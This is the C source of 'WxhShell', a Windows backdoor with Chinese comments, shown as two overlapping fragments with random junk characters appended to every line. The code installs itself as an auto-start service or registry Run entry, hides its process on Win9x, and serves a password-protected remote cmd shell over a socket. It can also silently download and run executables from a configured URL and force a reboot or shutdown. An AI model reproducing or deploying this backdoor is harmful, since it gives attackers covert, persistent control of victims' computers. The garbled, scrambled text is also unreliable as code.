    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )vW'g3u_  
    if(Boot(SHUTDOWN)) '1mk;%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] Lv3XMa  
    else { \.Lj A_  
    closesocket(wsh); g p:0Y  
    ExitThread(0); lV\iYX2#  
    } 9nFL70  
    break; 9c@M(U@Yh  
    } LG[N\%<!H  
  // 获取shell f,G*e367:  
  case 's': { $nt&'Xnv  
    CmdShell(wsh); s= %3`3Fo  
    closesocket(wsh); q T6y&  
    ExitThread(0); #pvq9fss,}  
    break; ajSB3}PN  
  } #W~jQ5NS\  
  // 退出 SkjG}  
  case 'x': { _dKMBcl)E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UarLxPQ  
    CloseIt(wsh); 8pnD6Lp>  
    break; 9pLe8D  
    } p9"dm{  
  // 离开 JSL&` `  
  case 'q': { !v8R(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "xlR>M6e  
    closesocket(wsh); 6 byeO&d  
    WSACleanup(); 7O55mc>cF  
    exit(1); )LGVR 3#  
    break; mG~k f]Y  
        } J 8 KiL  
  } e]~p:  
  } 48:xvTE?N  
|]G%b[  
  // 提示信息 z"f@iJX?2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "z9C@T  
} R+HX'W  
  } 7Fj8Mp|  
k A3K   
  return; F\eQV<  
} Z@s[8wrmPl  
n.g-%4\q  
// shell模块句柄 g+B7~Z5,  
int CmdShell(SOCKET sock) p7QZn.,=u  
{ :i&]J$^;  
STARTUPINFO si;  E0!d c  
ZeroMemory(&si,sizeof(si)); f#z:ILG=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lg<h54X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rd7p$e=i  
PROCESS_INFORMATION ProcessInfo; r;{$x  
char cmdline[]="cmd"; %SC Jmn2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jg$<2CR&  
  return 0; wN.S]  
} 5Npxs&Ea  
sFM$O232  
// 自身启动模式 p3vf7eqn  
int StartFromService(void) T +vo)9w  
{ ~61b^L}$  
typedef struct j""ZFh04  
{ [W3X$r~-  
  DWORD ExitStatus; x3i}IC  
  DWORD PebBaseAddress; N>(w+h+  
  DWORD AffinityMask; <|l}@\iRX  
  DWORD BasePriority; h/n(  
  ULONG UniqueProcessId; u)<]Pb})r  
  ULONG InheritedFromUniqueProcessId; V;eaQ  
}   PROCESS_BASIC_INFORMATION; 9s<4`oa  
a,Pw2Gcid  
PROCNTQSIP NtQueryInformationProcess; U;W9`JT<.f  
OjhX:{"59  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,NQ!d4 ~D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  %W~w\mT  
nG<oae6z"  
  HANDLE             hProcess; KRL.TLgq)  
  PROCESS_BASIC_INFORMATION pbi; A'#d:lOA  
u@dvFzc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &%rM|  
  if(NULL == hInst ) return 0; AJ%E.+@=r  
R%KF/1;/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \96\!7$@O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R `ViRJh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d Gp7EB`  
<yipy[D  
  if (!NtQueryInformationProcess) return 0; ]mMJ6n  
s)- ;74(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kBZ1)?   
  if(!hProcess) return 0; estiS  
MS\vrq'_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hnFpC1TO  
7 0?iZIK _  
  CloseHandle(hProcess); _Gq6xv\b1  
$.vm n,:.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rq}lW.<r  
if(hProcess==NULL) return 0; vS\2zwb}  
8GP17j  
HMODULE hMod; mcQL>7ts  
char procName[255]; bVzi^R"  
unsigned long cbNeeded; ],SQD3~9  
ai-s9r'MI?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _;03R{e*  
l^&#9d  
  CloseHandle(hProcess); k^Qf |  
l\W|a'i  
if(strstr(procName,"services")) return 1; // 以服务启动 xuv W6Q;  
d 5yEgc;z  
  return 0; // 注册表启动 -g~+9/;n  
} f7a4E+}  
v\,N"X(,  
// 主模块 o*H U^  
int StartWxhshell(LPSTR lpCmdLine) yIL=jzm`7  
{ Nhs!_-_I  
  SOCKET wsl; 1x|3|snz)  
BOOL val=TRUE; g$s;;V/8e  
  int port=0; P)K $+oo  
  struct sockaddr_in door; (1'DZ xJ&u  
Z8 v8@Y  
  if(wscfg.ws_autoins) Install(); .v+JV6!u  
o^/ #i`)  
port=atoi(lpCmdLine); 2'@m'4-N  
[@Ac#  
if(port<=0) port=wscfg.ws_port; I uxf`sd  
S-Y{Vi"2  
  WSADATA data; $/M-@3wro  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - UkK$wP5  
w!"L\QT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #zl1#TC{(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Y(59J2  
  door.sin_family = AF_INET; itzUq,T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NVb}uH*i  
  door.sin_port = htons(port); A5Hx $.Z  
 57q=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Axe}RD'  
closesocket(wsl); tQ9%rb  
return 1; 4 "2%mx:  
} Be|! S_Y P  
 Gk~aTO  
  if(listen(wsl,2) == INVALID_SOCKET) { =c@hE'{  
closesocket(wsl); ya&=UoI  
return 1; >B{qPrmI  
} b23A&1X  
  Wxhshell(wsl); P7-k!p"  
  WSACleanup(); U(f@zGV  
I#MPJ@*WT  
return 0; %!\=$s}g  
4<($ZN8  
} r4mh:T4i  
1x_EAHZ>7  
// 以NT服务方式启动 aE'nW_f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4+hNP'e  
{ )3CM9P'0  
DWORD   status = 0; =Q 9^|&6  
  DWORD   specificError = 0xfffffff; L~5f*LE$1  
MQP9^+f)O?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^dpM2$J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'b.jKkW7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *B3f ry  
  serviceStatus.dwWin32ExitCode     = 0; XdJD"|,h  
  serviceStatus.dwServiceSpecificExitCode = 0; c6F?#@?   
  serviceStatus.dwCheckPoint       = 0; dLYM )-H`>  
  serviceStatus.dwWaitHint       = 0; K.yc[z)un  
+~V_^-JG&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~a_hOKU5  
  if (hServiceStatusHandle==0) return; H}r]j\  
OFr"RGW"  
status = GetLastError(); %/3+:}@G  
  if (status!=NO_ERROR) o*204BGB  
{ Y A,. C4=s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y!j/,FU  
    serviceStatus.dwCheckPoint       = 0; +}m`$B}mJ  
    serviceStatus.dwWaitHint       = 0; <*J"6x  
    serviceStatus.dwWin32ExitCode     = status; O h e^{:  
    serviceStatus.dwServiceSpecificExitCode = specificError; h.?<( I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,IhQ%)l  
    return; p8 S~`fjV  
  } #Tc`W_-  
R>"pJbS;L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J ?{sTj"KB  
  serviceStatus.dwCheckPoint       = 0; ulALGzPh  
  serviceStatus.dwWaitHint       = 0; aO$0[-A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9%kO%j,3  
} N=u( 3So  
I0l3"5X a  
// 处理NT服务事件,比如:启动、停止 YN)qMI_ `A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cl`kd)"v  
{ F lVG,Z  
switch(fdwControl) hD#Mhy5h  
{ gIweL{Pc  
case SERVICE_CONTROL_STOP: Pjq9BK9p  
  serviceStatus.dwWin32ExitCode = 0; )P R`irw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -5e8m4*  
  serviceStatus.dwCheckPoint   = 0; 4%}iKoT   
  serviceStatus.dwWaitHint     = 0; +mG"m hF  
  { 0<uL0FOT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I[A<e]uK  
  } 9/8+R%  
  return; Zah<e6L  
case SERVICE_CONTROL_PAUSE: [GCaRk>b,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vZQraY nJ  
  break; I5j|\ /Ht  
case SERVICE_CONTROL_CONTINUE: qCVb-f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N\s-{7K  
  break; yz3=#  
case SERVICE_CONTROL_INTERROGATE: SIM> Lz  
  break; *B4OvHi)'  
}; 2 .Xx)(>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "WY5Pzsi:  
} ~d<&OL  
BSkmFd(*  
// 标准应用程序主函数 \1?'JdN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L8E4|F}  
{ j7Zv"Vq@  
wtL=^  
// 获取操作系统版本 ?1|\(W#  
OsIsNt=GetOsVer(); |pknaz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ta3* G  
/^K-tz-R  
  // 从命令行安装 q(46v`u  
  if(strpbrk(lpCmdLine,"iI")) Install(); y'6lfThT  
(uHyWEHt  
  // 下载执行文件 c=-qbG0`  
if(wscfg.ws_downexe) { |BtFT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mxH63$R  
  WinExec(wscfg.ws_filenam,SW_HIDE); f\hQ>MLzt  
} `p)U6J  
lwG)&qyVd  
if(!OsIsNt) { Fv(FRZ)  
// 如果时win9x,隐藏进程并且设置为注册表启动 hBz>E 4mEv  
HideProc(); )yz)Fw|&  
StartWxhshell(lpCmdLine); wKpD++k  
} f6( 1jx"  
else r_8;aPL  
  if(StartFromService()) CG35\b;Q  
  // 以服务方式启动 Vv`94aQTD  
  StartServiceCtrlDispatcher(DispatchTable); Q`O~f<a  
else D\-DsT.H  
  // 普通方式启动 G ` eU   
  StartWxhshell(lpCmdLine); ?hrz@k|  
Te3 ?z  
return 0; j:8Pcx  
} L[5U(`q[  
k:mW ,s|a  
Aj/EaIq  
oFzmH!&ED  
=========================================== ;S&anC#E  
vXM {)  
^P.U_2&  
sw:a(o&$  
qx0F*EH|  
;eW)&qzK  
" [T3%Xt'4  
T`u ,!S  
#include <stdio.h> IQ$6}.  
#include <string.h> l%u8Lq  
#include <windows.h> !4z vkJO  
#include <winsock2.h> {XC[Ia6jtL  
#include <winsvc.h> ?oV|.LM:W  
#include <urlmon.h> w%oa={x  
[s] ZT  
#pragma comment (lib, "Ws2_32.lib") s|[qq7  
#pragma comment (lib, "urlmon.lib") =<TJ[,h et  
#op0|:/N  
#define MAX_USER   100 // 最大客户端连接数 bx-:aC)]2  
#define BUF_SOCK   200 // sock buffer ExFz@6@  
#define KEY_BUFF   255 // 输入 buffer # x X  
[CAFh:o  
#define REBOOT     0   // 重启 tu ;Pm4q7  
#define SHUTDOWN   1   // 关机 5CfD/}{:#I  
p%#'`*<a_  
#define DEF_PORT   5000 // 监听端口 j(>xP*il  
D mky!Cp  
#define REG_LEN     16   // 注册表键长度 .jbxA2  
#define SVC_LEN     80   // NT服务名长度 _1YC9}  
* ]D{[hV  
// 从dll定义API 4l> d^L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \zDs3Hp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^q|W@uG-(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AW!A +?F6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i{Du6j^j  
)tS;gn  
// wxhshell配置信息 {#pw rWG  
struct WSCFG { *l%&/\  
  int ws_port;         // 监听端口 0x^lHBYc  
  char ws_passstr[REG_LEN]; // 口令 -I;\9r+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5-&"nn2*}1  
  char ws_regname[REG_LEN]; // 注册表键名 |tse"A5Z  
  char ws_svcname[REG_LEN]; // 服务名 ao|n<*}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bu08`P9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fILvEf4b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :" @-Bcln  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L gy^^.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #]gmM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OpK_?XG  
^oW{N  
}; h 'Hnq m  
M23r/eg]  
// default Wxhshell configuration _]eyt_  
struct WSCFG wscfg={DEF_PORT, N\rL ~4/  
    "xuhuanlingzhe", M0 KU}h  
    1, {9^p3Q+:P  
    "Wxhshell", NBLjBa%eL  
    "Wxhshell", Jz P0D'  
            "WxhShell Service", *D9H3M[o#  
    "Wrsky Windows CmdShell Service", 7lKatk+7K  
    "Please Input Your Password: ", roBb8M|q  
  1, U;!J(Us  
  "http://www.wrsky.com/wxhshell.exe", dT (i*E\j  
  "Wxhshell.exe" 6}|h  
    }; cRWB`&  
V\l@_%D[(v  
// 消息定义模块 G!h75G20  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [8 H:5 Ho  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,*?[Rg0]+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VYt<j<ba  
char *msg_ws_ext="\n\rExit."; F!*GrQms  
char *msg_ws_end="\n\rQuit."; t% <y^Wa=  
char *msg_ws_boot="\n\rReboot..."; GJs~aRiz  
char *msg_ws_poff="\n\rShutdown..."; sH > zsc  
char *msg_ws_down="\n\rSave to "; f$vTDak  
DQaE9gmC  
char *msg_ws_err="\n\rErr!"; }Gy M<!:  
char *msg_ws_ok="\n\rOK!"; 1uB$@a\  
~l*<LXp8  
char ExeFile[MAX_PATH]; A r>BL2@  
int nUser = 0; g#cet{>  
HANDLE handles[MAX_USER]; ^Xu4N"@  
int OsIsNt; !]RSG^%s{  
f*9O39&|  
SERVICE_STATUS       serviceStatus; Fop +xR,Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (oG.A  
_mwt{D2r}  
// 函数声明 ;oDr8a<A  
int Install(void); 8F@Sy,D  
int Uninstall(void); DH.UJ +  
int DownloadFile(char *sURL, SOCKET wsh); ?,8+1"|$A]  
int Boot(int flag); x}V&v?1{5  
void HideProc(void); 3wcF R0f  
int GetOsVer(void); ' 2O @  
int Wxhshell(SOCKET wsl); a/1;|1a.  
void TalkWithClient(void *cs); Hrph>v  
int CmdShell(SOCKET sock); J_m@YkK  
int StartFromService(void); f fBd  
int StartWxhshell(LPSTR lpCmdLine); N;6o=^ic  
L[,19 ;(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t8rFn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Eh|,[ D!E  
F *r)  
// 数据结构和表定义 x;\/Xj ;  
SERVICE_TABLE_ENTRY DispatchTable[] = PLMC<4$s  
{ ,]W|"NUI  
{wscfg.ws_svcname, NTServiceMain}, !2Z"Lm  
{NULL, NULL} pRL:,q\  
}; %Ta"H3ZW  
rjO{B`sV*  
// 自我安装 (V]3w  
int Install(void) w^$C\bCbh  
{ "J=Cy@SSa  
  char svExeFile[MAX_PATH]; hpPacN  
  HKEY key; +A)> zx  
  strcpy(svExeFile,ExeFile); TjYHoL5  
.g\Oj0Cbxh  
// 如果是win9x系统,修改注册表设为自启动 6$'*MpYF4  
if(!OsIsNt) { |iUC\F=-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *X2PT(e[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &tvp)B?cWk  
  RegCloseKey(key); QuPz'Ut#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZH9Fs'c=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kP ,8[r  
  RegCloseKey(key); ?_Z -} f  
  return 0; }$'_%,  
    } M(LIF^'U:m  
  } ^jwzCo-  
} Br 7q.  
else { t^FE]$,  
L\:m)g,F.  
// 如果是NT以上系统,安装为系统服务 V<jj'dZfW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 80[# 6`  
if (schSCManager!=0) _#6Q f  
{ }9fch9>Zr  
  SC_HANDLE schService = CreateService ,}gJY^X+  
  ( $["HC-n?.k  
  schSCManager, ~$5XiY8A  
  wscfg.ws_svcname, (EY@{'.&  
  wscfg.ws_svcdisp, aSX4~UYB=  
  SERVICE_ALL_ACCESS, WcNQF!f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Babzrt-  
  SERVICE_AUTO_START, ,.cR@5qI  
  SERVICE_ERROR_NORMAL, c]aU}[s1  
  svExeFile, abR<( H12  
  NULL, wTU$jd1;+  
  NULL, TZt;-t`  
  NULL, "5~?`5Ff  
  NULL, aq}hlA(w  
  NULL 9]oT/ooM  
  ); hQm=9gS  
  if (schService!=0) ;WX.D]>{W  
  { @Xl(A]w%!  
  CloseServiceHandle(schService); XNJZ~Mowb  
  CloseServiceHandle(schSCManager); 7cGOJA5&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9U6$-]J  
  strcat(svExeFile,wscfg.ws_svcname); f^B8!EY#:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jj>Rzj!m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y^!qeY  
  RegCloseKey(key); t,|Apl]  
  return 0; Xpg -rxX  
    } ?96r7C|  
  } yV:8>9wE8  
  CloseServiceHandle(schSCManager); _.; PLq~0  
} zMbFh_dcq  
} qm!oJL  
;7:} iKU  
return 1; XKky-LeJ  
} IeYNTk &<  
}={@_g#  
// 自我卸载 uD=Kar  
int Uninstall(void) V4V`0I  
{ q=5aHH% |  
  HKEY key; t"GnmeH i  
)y*&&q   
if(!OsIsNt) { m_/U  t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %"mI["{  
  RegDeleteValue(key,wscfg.ws_regname); {. 9BG&  
  RegCloseKey(key); zU&Iy_Ke.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + m-88  
  RegDeleteValue(key,wscfg.ws_regname); &!X<F,  
  RegCloseKey(key); U? Jk  
  return 0; 7wx=#  
  } :KO&j"[  
} [E a{);  
} -z`FKej   
else { INbV6jZL  
md+pS"8o;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G]rY1f0  
if (schSCManager!=0) P".}Y[GD  
{ lg-_[!4Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vlkw Wm  
  if (schService!=0) g]vB\5uA:  
  { GbQi3%  
  if(DeleteService(schService)!=0) { H^n@9U;[K  
  CloseServiceHandle(schService); 0o>C, `  
  CloseServiceHandle(schSCManager); g}<jn'@{  
  return 0; <WIIurp  
  } hc q&`Gun  
  CloseServiceHandle(schService); .|[{$&B  
  } VNWB$mM.2  
  CloseServiceHandle(schSCManager);  `qs,V  
} L3Y,z3/  
} <)T| HKx  
PSq?8.  
return 1; 8S8qj"s  
} `r1}:`.m,  
 6a,8t  
// 从指定url下载文件 >IaGa!4  
int DownloadFile(char *sURL, SOCKET wsh) AA=Ob$2$  
{ $XQgat@&]  
  HRESULT hr; ~7ZZb*].(  
char seps[]= "/"; Yg.[R] UC  
char *token; zr?s5RS  
char *file; M5WB.L[@ q  
char myURL[MAX_PATH]; {`SMxDevc}  
char myFILE[MAX_PATH]; 8HKv_vl  
M99ku'  
strcpy(myURL,sURL); iUcX\ uW  
  token=strtok(myURL,seps); {V>F69IU  
  while(token!=NULL) [Kc?<3W  
  { qa^cJ1@  
    file=token; Un K7&Uo  
  token=strtok(NULL,seps); +w]#26`d  
  } h_4*?w  
>rQj1D)@  
GetCurrentDirectory(MAX_PATH,myFILE); ExtC\(X;  
strcat(myFILE, "\\"); .hx(9  
strcat(myFILE, file); &YY`XEG59O  
  send(wsh,myFILE,strlen(myFILE),0); 4:rwzRDY  
send(wsh,"...",3,0); ~o_JZ:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2om:S+3)2  
  if(hr==S_OK) )$S=iL8(  
return 0; bss2<mqlH  
else C,+  
return 1; =OF hM7  
\#%GVru!  
} W2X`%Tx0  
60%nQhb  
// 系统电源模块 OS#aYER~/  
int Boot(int flag) PoaCnoNS  
{ t)W=0iEd9  
  HANDLE hToken; f>6{tI 5X  
  TOKEN_PRIVILEGES tkp; B<EqzP*#  
`D%i`"~Lf&  
  if(OsIsNt) { *4 LS``  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U3&GRY|##  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |j0_^:2r=  
    tkp.PrivilegeCount = 1; 01o<eZ,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8/>.g.]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yd4X*Ua  
if(flag==REBOOT) { 2!-Q!c`y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mbxl{M >  
  return 0; GwF8ze+cH  
} 8i[TeW"  
else { *l`yxz@U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [z!m  
  return 0; Ew0)MZ.#  
} dUa>XkPa\2  
  } wb62($  
  else { h.R46:  
if(flag==REBOOT) { 5!A:xV]6]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w` +,  
  return 0; (!fx5&F  
} )zO|m7  
else { !k% PP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z$^wCd:  
  return 0; s~Ivq+ipr;  
} #EUT"^:d  
} kHr-UJ!  
ng+sK  
return 1; ?<4pYEP  
} CP\[9#]:  
:2xGfy??  
// win9x进程隐藏模块 <b"^\]l  
void HideProc(void) J=Kv-@I>E  
{ ZgEV-.>P  
M 0}r)@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %'WC7s  
  if ( hKernel != NULL ) F_:W u,dUZ  
  { pmBN?<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EoutB Vm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {f/]K GGk  
    FreeLibrary(hKernel); Mhn1-ma:  
  } l4T[x|')M  
Q^va +O  
return; +mBS&FK  
} [ p,]/ ^ N  
%?n=I n(F  
// 获取操作系统版本 9LPXhxNwB  
int GetOsVer(void) b0'}BMJ  
{ e=h-}XRC  
  OSVERSIONINFO winfo; ;/V])4=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AVLY|79#  
  GetVersionEx(&winfo); \3ydNgl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #@-dT,t  
  return 1; <= _!8A  
  else *\#<2 QAe  
  return 0; >!Y#2]@}o  
} VXZYRr3F  
Q*Jb0f  
// 客户端句柄模块 M^\`~{*T  
int Wxhshell(SOCKET wsl) eXsp0!v  
{ VTR4uT-  
  SOCKET wsh; 8h)7K/!\  
  struct sockaddr_in client; + R6X  
  DWORD myID; ';\norx;  
?99r>01>  
  while(nUser<MAX_USER) lE%KzX?&  
{ RLex#j  
  int nSize=sizeof(client); 9ec?L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6K7lQ!#}Q  
  if(wsh==INVALID_SOCKET) return 1; \kV|S=~@  
unFm~rcf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %I`'it2d  
if(handles[nUser]==0) a{e 2*V  
  closesocket(wsh); oH4zW5  
else ,Gbc4x  
  nUser++; f uU"  
  } \kKd:C{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /C'_-U?  
lmUCrs37  
  return 0; %OHWGac"i  
} \;_tXb}F  
pk'd& .  
// 关闭 socket #a@jt  
void CloseIt(SOCKET wsh) Y5ei:r|^  
{ R-W.$-rF  
closesocket(wsh); T1RY1hb|g>  
nUser--; ~x4]p|)</  
ExitThread(0); @\gE{;a8  
} Z$c&Y>@)  
E0HE@pqr  
// 客户端请求句柄 =n=!s{A:t  
void TalkWithClient(void *cs) O5:U2o-  
{ /EQ^-4yr  
K5bR7f:  
  SOCKET wsh=(SOCKET)cs; [V8^}s}tF  
  char pwd[SVC_LEN]; $L|+Z>x  
  char cmd[KEY_BUFF]; Nk%$;Si  
char chr[1]; xh<{lZ)KJ  
int i,j; (7,Q4T  
Q$: ,N=%  
  while (nUser < MAX_USER) { k[pk R{e  
Z s| *+[  
if(wscfg.ws_passstr) { h(~of (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o*d(;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IcqzMm b  
  //ZeroMemory(pwd,KEY_BUFF); gyy}-^`F  
      i=0; X-bM`7'H  
  while(i<SVC_LEN) { 1)~9Eku6K  
<jFov`^  
  // 设置超时 &.yX41R  
  fd_set FdRead; afaQb  
  struct timeval TimeOut; )eSQce7H  
  FD_ZERO(&FdRead); D > U(&n  
  FD_SET(wsh,&FdRead); 8eh3K8tL#  
  TimeOut.tv_sec=8; zcOm"-E-  
  TimeOut.tv_usec=0; /IX555/dR1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xr Ne:Aj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =SW<Vhtb  
JX>`N5s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I3Z\]BI  
  pwd=chr[0]; Xa"I  
  if(chr[0]==0xd || chr[0]==0xa) { MR@Qn[RdM  
  pwd=0; H8@z/  
  break; |,TBP@  
  } tK+JmbB\  
  i++; F$|d#ny  
    } Gf~^Xv!T  
n#?y;Y\  
  // 如果是非法用户,关闭 socket 09Q5gal  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PRyzvc~  
} DV({! [EP  
KxhWZ3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QR-pji y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y>2#9LA  
?c_:S]^  
while(1) { ;3Z?MQe"NQ  
UH(w, R`  
  ZeroMemory(cmd,KEY_BUFF); W^;4t3eQf  
D~Q -:G$x  
      // 自动支持客户端 telnet标准   NUh%\{  
  j=0; %l%2 hvGZ  
  while(j<KEY_BUFF) { Crla~h?=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); va#].4_  
  cmd[j]=chr[0]; x A*6Z)Y  
  if(chr[0]==0xa || chr[0]==0xd) { 7coVl$_Zl  
  cmd[j]=0; ;kG"m7-/  
  break; ET*:iioP  
  } S]e;p\8$Z  
  j++; $RC)e 7  
    } olHmRJ  
1p-<F3;  
  // 下载文件 Z% `$id  
  if(strstr(cmd,"http://")) { RO[X #c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4zOFu/l6R  
  if(DownloadFile(cmd,wsh)) ?l|&JgJ$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \mt Y_O  
  else ?jbx7')  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mSEX?so=[  
  } M,r8 No  
  else { ^%U`|GBZp  
Wrm3U/>e  
    switch(cmd[0]) { ;jKLB^4nX  
